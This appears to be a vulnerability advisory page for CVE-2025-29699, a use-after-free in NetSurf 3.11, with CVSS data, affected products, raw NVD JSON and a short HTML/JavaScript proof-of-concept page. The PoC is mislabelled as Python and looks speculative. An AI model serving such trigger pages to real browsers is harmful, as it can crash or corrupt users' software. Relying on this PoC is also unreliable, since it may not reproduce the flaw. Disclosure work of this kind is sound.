Security Vulnerability Report
中文
CVE-2025-29699 CVSS 6.5 MEDIUM

CVE-2025-29699

Published: 2025-11-03 15:15:35
Last Modified: 2025-11-05 18:18:43

Description

NetSurf 3.11 is vulnerable to Use After Free in dom_node_set_text_content function.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:netsurf-browser:netsurf:3.11:*:*:*:*:*:*:* - VULNERABLE
NetSurf < 3.11
NetSurf 3.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-29699 PoC - NetSurf Use After Free // This PoC demonstrates triggering the UAF in dom_node_set_text_content // Note: Actual exploitation requires specific memory layout conditions <!DOCTYPE html> <html> <head> <title>CVE-2025-29699 PoC</title> </head> <body> <div id="target">Initial Text</div> <script> // Attempt to trigger UAF condition in dom_node_set_text_content function triggerUAF() { const target = document.getElementById('target'); // Create conditions that may lead to UAF for (let i = 0; i < 100; i++) { // Rapidly modify text content to trigger race condition target.textContent = "Text" + i; // Force garbage collection if available if (window.gc) window.gc(); } // Access after potential free console.log(target.textContent); } // Trigger the vulnerability triggerUAF(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-29699", "sourceIdentifier": "[email protected]", "published": "2025-11-03T15:15:35.357", "lastModified": "2025-11-05T18:18:43.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NetSurf 3.11 is vulnerable to Use After Free in dom_node_set_text_content function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netsurf-browser:netsurf:3.11:*:*:*:*:*:*:*", "matchCriteriaId": "EA529B87-24A0-4813-B08D-9E3B3DD7D6C2"}]}]}], "references": [{"url": "https://github.com/Fysac/netsurf-disclosure/tree/main/CVE-2025-29699", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.netsurf-browser.org/", "source": "[email protected]", "tags": ["Product"]}]}}